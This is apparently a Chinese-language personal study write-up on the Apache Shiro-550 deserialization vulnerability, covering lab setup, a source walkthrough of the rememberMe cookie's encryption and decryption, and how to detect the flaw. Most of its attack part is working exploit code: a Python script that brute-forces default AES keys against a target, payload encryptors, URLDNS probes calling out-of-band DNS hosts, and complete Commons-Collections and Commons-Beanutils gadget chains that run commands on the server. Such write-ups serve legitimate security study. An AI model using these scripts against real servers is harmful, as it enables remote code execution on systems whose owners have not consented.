配置Tomcat环境 https://tomcat.apache.org/
下载及安装 https://tomcat.apache.org/
配置Tomcat环境变量 1 2 CATALINA_HOME E:\02software\02development\java\tomcat10_zip\apache-tomcat-10.1.15-windows-x64\apache-tomcat-10.1.15
1 2 CATALINA_BASE E:\02software\02development\java\tomcat10_zip\apache-tomcat-10.1.15-windows-x64\apache-tomcat-10.1.15
1 2 CLASSPATH %CATALINA_HOME%\lib\servlet-api.jar;
1 2 3 Path %CATALINA_HOME%\bin %CATALINA_HOME%\lib
在IntelliJ IDEA中配置Tomcat
over
。。。。。。。。。报错
Tomcat日志乱码问题 https://blog.csdn.net/gaogzhen/article/details/107307459
shiro550 https://www.cnblogs.com/nice0e3/p/14183173.html#0x00-%E5%89%8D%E8%A8%80
https://blog.csdn.net/god_zzZ/article/details/108391075
https://blog.csdn.net/m0_67401270/article/details/126721347#:~:text=1.%E9%A6%96%E5%85%88%E6%89%93%E5%BC%80IDEA%EF%BC%8C%E6%89%93%E5%BC%80shiro%E6%BA%90%E7%A0%81%202.%E9%85%8D%E7%BD%AEtomcat%E7%8E%AF%E5%A2%83%20%E9%A6%96%E5%85%88%20%E9%A6%96%E5%85%88%E8%BF%99%E4%B8%89%E9%83%A8%E5%88%86,1%EF%BC%9A%E9%80%89%E6%8B%A9tomcat%E6%89%80%E5%9C%A8%E4%BD%8D%E7%BD%AE%202%EF%BC%9A%E9%80%89%E6%8B%A9%E5%AE%89%E8%A3%85%E7%9A%84JDK1.7%E7%9A%84%E4%BD%8D%E7%BD%AE%203%EF%BC%9A%E9%80%89%E6%8B%A9%E6%9C%AA%E8%A2%AB%E4%BD%BF%E7%94%A8%E7%9A%84%E7%AB%AF%E5%8F%A3%20%E7%84%B6%E5%90%8E%E5%88%B0Deployment%EF%BC%8C%E9%80%89%E6%8B%A9%E6%B7%BB%E5%8A%A0%EF%BC%8C%E7%84%B6%E5%90%8E%E9%80%89%E6%8B%A9shiro%E7%9A%84war%E5%8C%85%E6%89%80%E5%9C%A8%E4%BD%8D%E7%BD%AE
影响版本: shiro < 1.2.4
漏洞原理: Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe
的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。
反过来思考一下,如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,那么这时候就会去进行反序列化我们的payload内容,这时候就可以达到一个命令执行的效果。
1 获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
漏洞环境: github: https://github.com/apache/shiro/tags?after=shiro-root-1.3.0-release-vote1
shiro zip: https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
jdk1.6: https://www.oracle.com/java/technologies/javase-java-archive-javase6-downloads.html
shiro550环境【成功】 https://blog.csdn.net/qq_44769520/article/details/123476443#:~:text=1.%E9%A6%96%E5%85%88%E6%89%93%E5%BC%80IDEA%EF%BC%8C%E6%89%93%E5%BC%80shiro%E6%BA%90%E7%A0%81%202.%E9%85%8D%E7%BD%AEtomcat%E7%8E%AF%E5%A2%83%20%E9%A6%96%E5%85%88%20%E9%A6%96%E5%85%88%E8%BF%99%E4%B8%89%E9%83%A8%E5%88%86,1%EF%BC%9A%E9%80%89%E6%8B%A9tomcat%E6%89%80%E5%9C%A8%E4%BD%8D%E7%BD%AE%202%EF%BC%9A%E9%80%89%E6%8B%A9%E5%AE%89%E8%A3%85%E7%9A%84JDK1.7%E7%9A%84%E4%BD%8D%E7%BD%AE%203%EF%BC%9A%E9%80%89%E6%8B%A9%E6%9C%AA%E8%A2%AB%E4%BD%BF%E7%94%A8%E7%9A%84%E7%AB%AF%E5%8F%A3%20%E7%84%B6%E5%90%8E%E5%88%B0Deployment%EF%BC%8C%E9%80%89%E6%8B%A9%E6%B7%BB%E5%8A%A0%EF%BC%8C%E7%84%B6%E5%90%8E%E9%80%89%E6%8B%A9shiro%E7%9A%84war%E5%8C%85%E6%89%80%E5%9C%A8%E4%BD%8D%E7%BD%AE
https://github.com/jas502n/SHIRO-550 //war包
shiro550分析 https://github.com/Drun1baby/JavaSecurityLearning
https://johnfrod.top/%e5%ae%89%e5%85%a8/shiro%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/
https://www.yuque.com/tianxiadamutou/zcfd4v/op3c7v#823652d0 //1
https://www.yuque.com/tianxiadamutou/zcfd4v/bea7gi //2
https://www.yuque.com/tianxiadamutou/zcfd4v/yzw734 //3
https://blog.zsxsoft.com/post/35
https://github.com/j1anFen/shiro_rce_exp //rce exp
https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect //
https://mp.weixin.qq.com/s/WDmj4-2lB-hlf_Fm_wDiOg
https://github.com/phith0n/JavaThings/tree/master/shirodemo //demo
https://tomcat.apache.org/download-80.cgi //tomcat8
https://github.com/KpLi0rn/ShiroVulnEnv //shiro vuln env
Tomcat8 在 IDEA 中配置
这里我们先 clone 一下 P神的项目:https://github.com/phith0n/JavaThings/tree/master/shirodemo
右键 login.jsp,运行之后会有一堆爆红,然后是 404 的界面,这个时候我们点击 IDEA 自带的用浏览器打开前端界面即可,这样就可以访问成功了。
登录的 username 和 password 默认是 root 与 secret。
Shiro-550 分析 勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。
Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码 在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。
加密过程 首先看org.apache.shiro.mgt.AbstractRememberMeManager类的onSuccessfulLogin函数
判断 token 是否为 true,然后调用 rememberIdentity
;
在rememberIdentity中,调用了俩个方法,getIdentityToRemember方法和rememberIdentity(subject, principals)方法;
首先看getIdentityToRemember这个方法,
大致就是获取用户名赋值给 principals
。
回到rememberIdentity
跟进this.rememberIdentity(subject, principals)
:
this.rememberIdentity(subject, principals)函数里面执行了两个函数,convertPrincipalsToBytes函数和rememberSerializedIdentity函数;
首先分析第一个函数调用
先对用户名进行序列化处理,然后调用了个this.getCipherService()
方法是否有返回值,跟进查看
返回了一种 AES 的加密方式CBC。
回到convertPrincipalsToBytes
方法,接着调用this.encrypt(bytes)
对序列化后的用户名进行加密操作,跟进
这里同样是先用getCipherService
方法获取一个加密方式,如果不是空则用该加密方式调用encrypt
方法进行加密,AES加密是个对称加密需要密钥,所以这里用getEncryptionCipherKey
获取一个密钥,跟进看看:
看来是直接返回了这个密钥,由于我们知道这个漏洞就是因为密钥是硬编码写好的造成的,所以我们往回找找这个密钥是哪里赋值的。
找到这个AbstractRememberMeManager类初始化的时候会,调用setCipherKey
方法来设置密钥:
回到AbstractRememberMeManager类初始化的this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
这里,这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES实在类定义里面写好的:
现在加密完,到了这里
然后再来到这个函数,设置rememberme
这里逻辑就是对传进来的字节进行base64加密,然后设置为名字为rememberMe的cookie值。
这个是加密过程分析涉及的函数调用。
解密过程 从org.apache.shiro.mgt.DefaultSecurityManager这个类开始分析,getRememberedIdentity函数
跟进到getRememberedPrincipals
:
继续跟到getRememberedSerializedIdentity
:
这里的逻辑是先获取cookie中rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。
返回 getRememberedPrincipals
方法,下一步跟进 convertBytesToPrincipals
方法
可以看到就进行了两个操作 decrypt
和 deserialize
。解密就是和加密的逆过程,不多说,进入 deserialize
:
发现readObject
方法出现了
Shiro-550 漏洞探测 指纹识别 在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为 rememberMe
字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe
字段,说明目标有使用Shiro框架,可以进一步测试。
AES密钥判断 前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式 提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe
字段。
因此我们需要构造payload排除类型转换错误,进而准确判断密钥。
shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
这里给出大佬Veraxy的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import base64import uuidimport requestsfrom Crypto.Cipher import AES def encrypt_AES_GCM (msg, secretKey ): aesCipher = AES.new(secretKey, AES.MODE_GCM) ciphertext, authTag = aesCipher.encrypt_and_digest(msg) return (ciphertext, aesCipher.nonce, authTag) def encode_rememberme (target ): keys = ['kPH+bIxk5D2deZiIxcaaaA==' , '4AvVhmFLUs0KTA3Kprsdag==' ,'66v1O8keKNV3TTcGPK1wzg==' , 'SDKOLKn2J1j/2BHjeZwAoQ==' ] BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==' ) for key in keys: try : encryptor = AES.new(base64.b64decode(key), mode, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body))) res = requests.get(target, cookies={'rememberMe' : base64_ciphertext.decode()},timeout=3 ,verify=False , allow_redirects=False ) if res.headers.get("Set-Cookie" ) == None : print ("正确KEY :" + key) return key else : if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie" ): print ("正确key:" + key) return key encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key)) base64_ciphertext = base64.b64encode(encryptedMsg[1 ] + encryptedMsg[0 ] + encryptedMsg[2 ]) res = requests.get(target, cookies={'rememberMe' : base64_ciphertext.decode()}, timeout=3 , verify=False , allow_redirects=False ) if res.headers.get("Set-Cookie" ) == None : print ("正确KEY:" + key) return key else : if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie" ): print ("正确key:" + key) return key print ("正确key:" + key) return key except Exception as e: print (e)
Shiro-550 漏洞利用 既然 RCE,或者说弹 shell,是在反序列化的时候触发的。
那我们的攻击就应该是将反序列化的东西,进行 shiro 的一系列加密操作,再把最后的那串东西替换包中的 RememberMe 字段的值。
这个加密操作drun1baby的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from email.mime import basefrom pydoc import plainimport sysimport base64from turtle import modeimport uuidfrom random import Randomfrom Crypto.Cipher import AESdef get_file_data (filename ): with open (filename, 'rb' ) as f: data = f.read() return data def aes_enc (data ): BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec (enc_data ): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1 ]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16 ] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16 :]) plaintext = unpad(plaintext) return plaintext if __name__ == "__main__" : data = get_file_data("ser.bin" ) print (aes_enc(data))
URLDNS 链 URLDNS 不依赖于 Commons Collections 包,只需要 JDK 的包就行,所以一般用于检测是否存在漏洞。再将 AES 加密出来的编码替换包中的 RememberMe Cookie,将 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。
URLDNS不难理解,直接贴大佬的脚本吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class URLDNSEXP { public static void main (String[] args) throws Exception{ HashMap<URL,Integer> hashmap= new HashMap <URL,Integer>(); URL url = new URL ("http://2twuuia2kxz9bqztec49jpphj8pzdo.oastify.com" ); Class c = url.getClass(); Field hashcodefile = c.getDeclaredField("hashCode" ); hashcodefile.setAccessible(true ); hashcodefile.set(url,1234 ); hashmap.put(url,1 ); hashcodefile.set(url,-1 ); serialize(hashmap); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
这个是直接yso的,nice0e3的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import base64import uuidimport subprocessfrom Crypto.Cipher import AES def rememberme (command ): popen = subprocess.Popen([r'D:\Program Files\Java\jdk1.8.0_301\bin\java.exe' , '-jar' , r'F:\CTF资料\CTF工具\ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar' , 'URLDNS' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = b' ' * 16 encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : payload = rememberme('http://dq6w3y.dnslog.cn' ) print ("rememberMe={}" .format (payload.decode()))
CC6+TemplatesImpl链 我们想要的是执行恶意代码,所以先引入Commons Collections 3.2.1 包来进行利用构造。
首先我们尝试用CC6链来构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class shrio550_exp_cc6_cc2 { public static void main (String[] args) throws Exception{ System.out.println("Hello world!" ); Transformer[] transforms = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transforms); HashMap<Object,Object> hashmap = new HashMap <>(); hashmap.put("123" ,"456" ); Map<Object,Object> decorate = LazyMap.decorate(hashmap,new ConstantTransformer (2 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (decorate,"key" ); HashMap<Object,Object> expHashMap = new HashMap <>(); expHashMap.put(tiedMapEntry,"value" ); decorate.remove("key" ); Class clz = LazyMap.class; Field factoryField = clz.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(decorate,chainedTransformer); serialize(expHashMap); unserialize("test.bin" ); } public static void serialize (Object o) throws Exception{ ObjectOutputStream out = new ObjectOutputStream (Files.newOutputStream(Paths.get("test.bin" ))); out.writeObject(o); } public static void unserialize (String name) throws Exception{ ObjectInputStream in = new ObjectInputStream (Files.newInputStream(Paths.get(name))); in.readObject(); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.nio.file.FileSystems;import java.nio.file.Files;public class exp { public static void main (String []args) throws Exception { byte [] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\06shiro\\shirodemo\\test.bin" )); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
将生成的payload发过去:
查看服务端报错:
我们找到异常信息的倒数第一行,也就是这个类: org.apache.shiro.io.ClassResolvingObjectInputStream
。可以看到,这是一个 ObjectInputStream的子类,其重写了 resolveClass()
方法:
resolveClass
是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class
对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass()
方法:
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName
(实际上内部用到了 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass
),而后者用的是Java原生的 Class.forName
。
那么,我们在异常捕捉的位置下个断点,看看是哪个类触发了异常:
可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;
。这个类名看起来怪,其实就是表示 org.apache.commons.collections.Transformer
的数组。
这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
既然这里我们无法使用Transformer数组了,但是并不是就束手无策了,回顾一下CC链的调用图:
我们不难发现实际上CC4和CC2是没有用到Transformer数组的,但CC4依赖的是Commons Collections4这个包,当前环境无法使用这条链,拿还有啥方法呢?
我们可以尝试去改造CC6这条链的后半部分,在CC6链中,我们用到了一个类, TiedMapEntry
,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个 getValue
方法,调用了map的get方法,并传入key。
1 2 3 public Object getValue() { return map.get(key); }
当这个map是LazyMap时,其get方法就是触发transform的关键点:
1 2 3 4 5 6 7 8 9 public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get
方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。
但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get
的参数key,会被传进transform()
,实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。
我们LazyMap.get(key)
直接调用InvokerTransfomer.transform(key)
,然后像CC2那样调用TempalteImpl.newTransformer()
来完成后续调用。
我的最终exp:CC6+TemplatesImpl链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import javassist.*;public class shiro550_exp_cc6_cc2 { public static void main (String[] args) throws Exception{ System.out.println("Hello world!" ); TemplatesImpl templates = getTemplatesImple(); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); HashMap<Object,Object> hashmap = new HashMap <>(); hashmap.put("123" ,"456" ); Map<Object,Object> decorate = LazyMap.decorate(hashmap,new ConstantTransformer (2 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (decorate,templates); HashMap<Object,Object> expHashMap = new HashMap <>(); expHashMap.put(tiedMapEntry,"value" ); decorate.remove(templates); Class clz = LazyMap.class; Field factoryField = clz.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(decorate,invokerTransformer); serialize(expHashMap); unserialize("test.bin" ); } public static void serialize (Object o) throws Exception{ ObjectOutputStream out = new ObjectOutputStream (Files.newOutputStream(Paths.get("test.bin" ))); out.writeObject(o); } public static void unserialize (String name) throws Exception{ ObjectInputStream in = new ObjectInputStream (Files.newInputStream(Paths.get(name))); in.readObject(); } public static TemplatesImpl getTemplatesImple () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Hello" ); setFieldValue(templates, "_bytecodes" , new byte [][]{getEvilBytes()}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true ); dField.set(obj, val); } public static byte [] getEvilBytes()throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass dynamicClass = classPool.makeClass("EvilAbstractTranslet" ); CtClass abstractTranslet = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); dynamicClass.setSuperclass(abstractTranslet); CtConstructor ctConstructor = new CtConstructor (new CtClass []{},dynamicClass); ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});" ); dynamicClass.addConstructor(ctConstructor); byte [] bytes = dynamicClass.toBytecode(); dynamicClass.detach(); return bytes; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.nio.file.FileSystems;import java.nio.file.Files;public class exp { public static void main (String []args) throws Exception { byte [] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\06shiro\\shirodemo\\test.bin" )); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
CC11 链攻击 额,其实就是上面的CC6+TemplatesImpl链
https://www.yuque.com/tianxiadamutou/zcfd4v/th41wx#a27e85e2
Commons-Beanutils1链 上面的CC6+TemplatesImpl链是依赖于Commmons Collections软件包的,如果项目中没有用到的话就无法实现代码执行,那有没有只用Shiro自己的类就能实现代码执行的链呢?答案是有的。这里用到了Apache Commons Beanutils包。
在commons-beanutils中提供了静态方法PropertyUtils.getProperty
,通过调用这个静态方法,可以直接调用任意JavaBean
中的getter
方法。
1 PropertyUtils.getProperty(new Bean(),"name");
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。
如何利用这个PropertyUtils.getProperty()
方法去构造我们的利用链呢?回顾CC链中没有用到Commons Collections包的部分,再次搬出这张图
红框的部分就是没有用到Commons Collections包的部分,如此一来,CC3中的TemplatesImpl实现类加载任意代码执行是跑不掉的,所以我们要找找那里能调用TemplatesImpl.newTransformer()
方法,然后我们找到了TemplatesImpl.getOutputProperties()
它的内部调用了 newTransformer()
,而 getOutputProperties
这个名字,是以 get
开头,正符合getter的定义。
所以, PropertyUtils.getProperty( obj, property )
这段代码,当obj是一个 TemplatesImpl
对象,而 property
的值为 outputProperties
时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties()
方法,触发代码执行。
然后接着找那里能调用PropertyUtils.getProperty()
,我们找到的是commons-beanutils包中 org.apache.commons.beanutils.BeanComparator
的compare()
方法:
这里熟悉CC链的的师傅就发现了,compare()
方法在CC4这条链的前半部分就能调用,我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了。看图!
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.apache.commons.beanutils.BeanComparator;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class shiro550_cb { public static void main (String[] args) throws Exception { System.out.println("Hello world!" ); TemplatesImpl templates = getTemplatesImple(); final BeanComparator comparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); serialize(queue); unserialize("ser.bin" ); } public static void serialize (Object o) throws Exception{ ObjectOutputStream out = new ObjectOutputStream (Files.newOutputStream(Paths.get("ser.bin" ))); out.writeObject(o); } public static void unserialize (String name) throws Exception{ ObjectInputStream in = new ObjectInputStream (Files.newInputStream(Paths.get(name))); in.readObject(); } public static TemplatesImpl getTemplatesImple () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Hello" ); setFieldValue(templates, "_bytecodes" , new byte [][]{getEvilBytes()}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static void setFieldValue (Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true ); dField.set(obj, val); } public static byte [] getEvilBytes()throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass dynamicClass = classPool.makeClass("EvilAbstractTranslet" ); CtClass abstractTranslet = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); dynamicClass.setSuperclass(abstractTranslet); CtConstructor ctConstructor = new CtConstructor (new CtClass []{},dynamicClass); ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});" ); dynamicClass.addConstructor(ctConstructor); byte [] bytes = dynamicClass.toBytecode(); dynamicClass.detach(); return bytes; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.example;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;import java.nio.file.FileSystems;import java.nio.file.Files;public class exp { public static void main (String []args) throws Exception { byte [] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\03code_environment\\02java\\06shiro\\shirodemo\\ser.bin" )); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
记录一下python的处理脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64from Crypto.Cipher import AES with open (r"F:\code\java_file\ser\ser.bin" ,"rb" ) as f: byte_POC = f.read() BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = b' ' * 16 encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(byte_POC) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) print ("rememberMe={}" .format (base64_ciphertext.decode()))
yso 中的链子打不通是因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3
服务端会显示报错:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。
Commons Collections依赖问题
服务端报错:
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator
类,从包名即可看出,这个类是来自于commons-collections。
